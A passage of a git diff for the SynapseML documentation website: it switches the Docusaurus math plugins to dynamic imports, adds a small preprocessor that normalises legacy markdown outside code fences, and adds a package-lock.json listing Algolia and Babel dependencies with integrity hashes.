"anonymous", }, ], @@ -138,8 +141,8 @@ module.exports = { { docs: { sidebarPath: require.resolve('./sidebars.js'), - remarkPlugins: [math], - rehypePlugins: [katex], + remarkPlugins: [(await import('remark-math')).default], + rehypePlugins: [(await import('rehype-katex')).default], }, theme: { customCss: require.resolve('./src/css/custom.css'), @@ -477,4 +480,5 @@ module.exports = { }, ], ], + }; }; diff --git a/website/legacyMarkdownPreprocessor.js b/website/legacyMarkdownPreprocessor.js new file mode 100644 index 00000000000..5d7a1264c18 --- /dev/null +++ b/website/legacyMarkdownPreprocessor.js @@ -0,0 +1,56 @@ +function normalizeLegacyMarkdownLine(line) { + return line + .replace(/<(https?:\/\/[^>\s]+)>/g, '[$1]($1)') + .replaceAll('', '`PATH-DOTNET_WORKER_DIR`') + .replaceAll('', 'PATH-DOTNET-WORKER-DIR') + .replaceAll( + '{number features to explain}', + '`{number features to explain}`', + ) + .replaceAll( + '#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch', + '#environment-setup-on-databricks', + ) + .replaceAll('](#slicing)', '](#model-slicing)') + .replace(/^(\s*)$/, '$1// train classifier') + .replace(/^(\s*)(\{"name": .+\})$/, '$1`$2`') + .replace( + /^(\|(?:[^|]*\|)+\s*)(\[?\{.*\}\]?)(\s*\|)$/, + '$1`$2`$3', + ); +} + +function findFence(line) { + const match = line.match(/^\s*(`{3,}|~{3,})/); + if (!match) { + return undefined; + } + return {character: match[1][0], length: match[1].length, token: match[1]}; +} + +function preprocessLegacyMarkdown({fileContent}) { + let openFence; + + return fileContent + .split('\n') + .map((line) => { + const candidateFence = findFence(line); + if (candidateFence) { + if (!openFence) { + openFence = candidateFence; + } else if ( + candidateFence.character === openFence.character && + candidateFence.length >= openFence.length && + line.trim() === candidateFence.token + ) { + openFence = undefined; + } + return line; + } + + return openFence ? line : normalizeLegacyMarkdownLine(line); + }) + .join('\n'); +} + +module.exports = preprocessLegacyMarkdown; diff --git a/website/package-lock.json b/website/package-lock.json new file mode 100644 index 00000000000..9e01065dafd --- /dev/null +++ b/website/package-lock.json @@ -0,0 +1,17460 @@ +{ + "name": "synapseml", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "synapseml", + "version": "0.0.0", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/plugin-client-redirects": "3.10.2", + "@docusaurus/preset-classic": "3.10.2", + "@docusaurus/theme-classic": "3.10.2", + "@docusaurus/theme-search-algolia": "3.10.2", + "@mdx-js/react": "^3.1.1", + "classnames": "^2.5.1", + "clsx": "^2.1.1", + "copy-text-to-clipboard": "^3.2.0", + "prism-react-renderer": "^2.4.1", + "react": "^18.3.1", + "react-dom": "^18.3.1", + "react-player": "^2.16.1", + "rehype-katex": "^7.0.1", + "remark-math": "^6.0.0" + }, + "engines": { + "node": ">=24.0" + } + }, + "node_modules/@11ty/gray-matter": { + "version": "1.0.0", + "integrity": "sha512-7mJJl+wf1AByoT0PknQiQfOPnVNT4fevGrUBVWO4HXsnYn1aQPyRyrELYrNUFleUBM++KzMKN6QaxHPk0t/6/g==", + "license": "MIT", + "dependencies": { + "js-yaml": "^4.1.0", + "kind-of": "^6.0.3", + "section-matter": "^1.0.0", + "strip-bom-string": "^1.0.0" + }, + "engines": { + "node": ">=11" + } + }, + "node_modules/@algolia/abtesting": { + "version": "1.22.0", + "integrity": "sha512-BFR6zNowNKcY7Ou7TaJc9QWexES4YKPbmf/OTFofpdsdhz4x6q0lbxp3duO0EHnyrN7rE4ba/TSXuY+BDGu4+g==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/autocomplete-core": { + "version": "1.19.9", + "integrity": "sha512-4U2JKLMWlDu0CotYyUkWakDxr8AIav3QtIUXXRpfavYN29aVWfzlwJp9T0rPKEf/dO2QCPAUc0Kq1Tj1GJxo2A==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-plugin-algolia-insights": "1.19.9", + "@algolia/autocomplete-shared": "1.19.9" + } + }, + "node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.19.9", + "integrity": "sha512-6mExC6X7762s2SV3eJy3QOkB8bdMmnUhQ2agvGVDuzwoGyr3PquGSY/0vPQXCfiAiCaXUz1rXn+lwghgSi0l0w==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-shared": "1.19.9" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" + } + }, + "node_modules/@algolia/autocomplete-shared": { + "version": "1.19.9", + "integrity": "sha512-YosP9Uoek6y/Ur1r1qeogk4biMe/hzkyNcgMCciw0//3XpCM7VlYLSHnyt/vOnEOGhCCc0+3v+unEiH6zz+Z1A==", + "license": "MIT", + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/client-abtesting": { + "version": "5.56.0", + "integrity": "sha512-7r4Z3NC7yU1oAQVWJNA2HX7tX481F3pJvCGyLIXiTdBcthz4Q/o21jwcMYDFkuI92UWTNBQQmHYgwHo1zS5dzg==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-analytics": { + "version": "5.56.0", + "integrity": "sha512-avmjXQSq+jadFO8Xl2em05/uQdQnEmHsJyOAdVbZkmVgpMfxL12aJwVVfGNwYr9nulcpuJN1X0lTaQ5wxuNGcA==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-common": { + "version": "5.56.0", + "integrity": "sha512-v2TPStUhY//ripPjIVclZ8AWc7DEGooXULZGFlFu37zNatgHjw34oZZ+OSbbc/YHO+xZwPl62I1k8xH1m4S2eg==", + "license": "MIT", + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-insights": { + "version": "5.56.0", + "integrity": "sha512-P0ehROpM4Sem3Sqo5x2cKPgj67D3G3jy0rh1Amwkcvsfr6tkvIcdCmerieanqTF7NxUMPNFLkpIFeMO8Rpa50w==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-personalization": { + "version": "5.56.0", + "integrity": "sha512-SXK3Vn3WVxyzbm31oePZBJkp1wpOyuWdd4B/Pv7n0aXDxmeSWhC1R1FC1517mMrFAIaPH4Rt0x6RUe7ZNjz8FA==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-query-suggestions": { + "version": "5.56.0", + "integrity": "sha512-5+ZdX8garFnmycnZgKhtXHePEaLj5zqDxI/0lkhhluzCcvTn0/PvvTirTg8hHYetQHvn7GDyeAiqTAieMvMW4A==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-search": { + "version": "5.56.0", + "integrity": "sha512-+mKUdYvqOi0BcvpAEyCEw49vSBptufIcfibtHz2bdr1pI789M46Yt0uQEk/sxtK3teh71OQvVFHaTDzShUWewQ==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/events": { + "version": "4.0.1", + "integrity": "sha512-FQzvOCgoFXAbf5Y6mYozw2aj5KCJoA3m4heImceldzPSMbdyS4atVjJzXKMsfX3wnZTFYwkkt8/z8UesLHlSBQ==", + "license": "MIT" + }, + "node_modules/@algolia/ingestion": { + "version": "1.56.0", + "integrity": "sha512-9g/zj+AZx5moFcdFIrYQoVrueXivjUcc3MQHtCYT8WhIuk1lUh1AyEhvJCS0XBZld09cLvd1AZ3BvDBpVpX2UA==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/monitoring": { + "version": "1.56.0", + "integrity": "sha512-Qf3Sr6f9A9uxCZUf3MXS0d2b877uYzEB5yxqpVGXAhcJnBCQjrRRon0KvefpGkxy+BshrIJs96OUoMtGqXTFDA==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/recommend": { + "version": "5.56.0", + "integrity": "sha512-GXWG1rWc5wu8hY4N33Y3b6ernY6sAdAvmKWN/zHAiACOx40WnpG0TVX5YazCAr/9gOYGInSiM2A0y2jy2xbiDA==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0", + "@algolia/requester-browser-xhr": "5.56.0", + "@algolia/requester-fetch": "5.56.0", + "@algolia/requester-node-http": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-browser-xhr": { + "version": "5.56.0", + "integrity": "sha512-7t24cBxaInS3mZb7ddEaZT/tp6q+/aR4YttsQVyP1/i+LmwPR34atO35KjaLFCcRVrlP7sYOAqkCfg6lIRB+ew==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-fetch": { + "version": "5.56.0", + "integrity": "sha512-R7ePHgVYmDFjZpvrsVAfbDz/d4RxKAYZ5/vgLfIsCVRZRryjWl/3INOxpOICzitehQ5FjNtNjcLQTrmHPTcHBQ==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-node-http": { + "version": "5.56.0", + "integrity": "sha512-PIOUXlSnrqM0S+WOgDRb4RzotydJH7ZoT6tOyL7tAO7qJOfvX5wsEW8Pe+PMKMwvuI4/gIyK9cg2H7lJXqnc4Q==", + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.56.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.7", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.7", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.7", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.7", + "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.29.7", + "integrity": "sha512-OoK6239jHPuSQOoS0kfTVKn0b/rVTk0seKq4Gd2UMLtmOVLjDC0ki3e+c90Trqv2gMfvJFqkiljrr568+qddiw==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.29.7", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.29.7", + "integrity": "sha512-IY3ZD9Tmooqr3TUhc3DUWxiuo8xx1DWLhd5M7hQ+ZWJamqM2BbalrBJb2MisSLoYorOj75U03qULCxQTY9r3hg==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-member-expression-to-functions": "^7.29.7", + "@babel/helper-optimise-call-expression": "^7.29.7", + "@babel/helper-replace-supers": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", + "@babel/traverse": "^7.29.7", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.29.7", + "integrity": "sha512-907Uymvqgg1dwUA+7IGwFAOSYzQOuzPXKNJ1yxzwPffzkYFg2q2eHi1fIOs6sXkG9NbIUMunnUlkYsfRFNvomg==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "regexpu-core": "^6.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.8", + "integrity": "sha512-47UwBLPpQi1NoWzLuHNjRoHlYXMwIJoBf7MFou6viC/sIHWYygpvr0B6IAyh5sBdA2nr2LPIRww8lfaUVQINBA==", + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "debug": "^4.4.3", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.11" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.29.7", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.29.7", + "integrity": "sha512-j+7JYmk1JYDtACIGj0QJqqWZjoUpMoEikQGADMaHgCMCSDqd2+P32rfcibUNrGOMWrlzK1WJBdxrB3JJQZwWtg==", + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.29.7", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.29.7", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.29.7", + "integrity": "sha512-+kmGVjcT9RGYzoDwdwEqEvGgKe3BYq+O1iGzjFubaNgZHwYHP6lsF2Yghf4kEuv9BV7tYDZ913aBW9am6YKong==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.29.7", + "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.29.7", + "integrity": "sha512-16AMiW26DbXWBbr3B8wNozKM0ydMLB892vaOaJW/fPJdnT8vJk5sdkQcU/isqUxyCE0cEoa8wZOcbgDuC4b6Og==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "@babel/helper-wrap-function": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.29.7", + "integrity": "sha512-atfGXWSeCiF4DnKZIfmJfQRkSw9b9gNNXR1kqKjbhG4pGYCOnkp8OcTB8E3NXjBu8NpheSnOeNKz8KT7UNFTmQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-member-expression-to-functions": "^7.29.7", + "@babel/helper-optimise-call-expression": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.29.7", + "integrity": "sha512-brcMGQaVzIeUb+6/bs1Av0f8YuNNjKY2JyvfRCsFuFsdKccEQ5Ges2y74D74NZ1Rz8lKJ9ksJkfqwQFJ/iNEyQ==", + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.29.7", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.29.7", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.29.7", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.29.7", + "integrity": "sha512-iES0Skag9ERIF68aXadpO6dbXa03mNWK3sEqJaMnLNs/eC3l0lkImdfoy6Y09/SfkpawdAB4RjQ7PVA7TcVGdw==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.7", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.7", + "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.29.7", + "integrity": "sha512-j8SrR0zLZrRsC09DlszEx8FpMiwukKffYXMK0d5LmOglO7vGG6sz/BR/20yHqWH+Lnn31JTt2PE3hIWNgM2J6w==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.29.7", + "integrity": "sha512-r8j8escF+U2FUHo0KOhPUdMzUO+jp9fInva6+ACVAF3Y97Ev+5iNZwiqTghmzNeWwDkOPlYuTcfb1vDaoZKmAQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.29.7", + "integrity": "sha512-GE1TFSiuFeGsCxmYXZl8HwoPrVlwe4rHPFE8weieGKZqnDORK+Ar3vgWMgW+AOxQ6/2TgLSKx9p6W7O4rC6qgQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-rest-destructuring-rhs-array": { + "version": "7.29.7", + "integrity": "sha512-oBNVCvnO5tND+xSopWvV8WNGfpTfgP4Zr/YXXSj8zfmcPktp5Ku/aZlsIowgSD4fjmgHn6sGmB9APVsU5zOdhA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.29.7", + "integrity": "sha512-QQt9qKHZ2sg/kivaLr7lnQr8HVrQDdBNSfCsTjiDxRuX/K5ORyKq+Bu8Xr0cDE3Dfkv0cw28Ve0EKyKMvulkOw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", + "@babel/plugin-transform-optional-chaining": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.29.7", + "integrity": "sha512-pn6QacGLgvCcwc+syUhKE/qSjV2D1IHDB84RNxWYSt1mW3K/SCtjinZ2p0cETJxAWBjPy3K/1lHwG5BjjPxNlw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.29.7", + "integrity": "sha512-/An1OCBN93thpBAGyfsK2pcf0jvju1SAtKkL2Ny++B5Sy6sqgzXDQH1cZxWbF96Wuk+bn41MDA9bLd4VVAw6rw==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.29.7", + "integrity": "sha512-zGYcYfq/WmZ4V+kBIXQon9dSSc8ircGZqw9ZaNhhGj9nZkeBu1jHLBDQqYYi5WA9uawvA2sIMbry2nCFhf5Djg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.29.7", + "integrity": "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.29.7", + "integrity": "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + 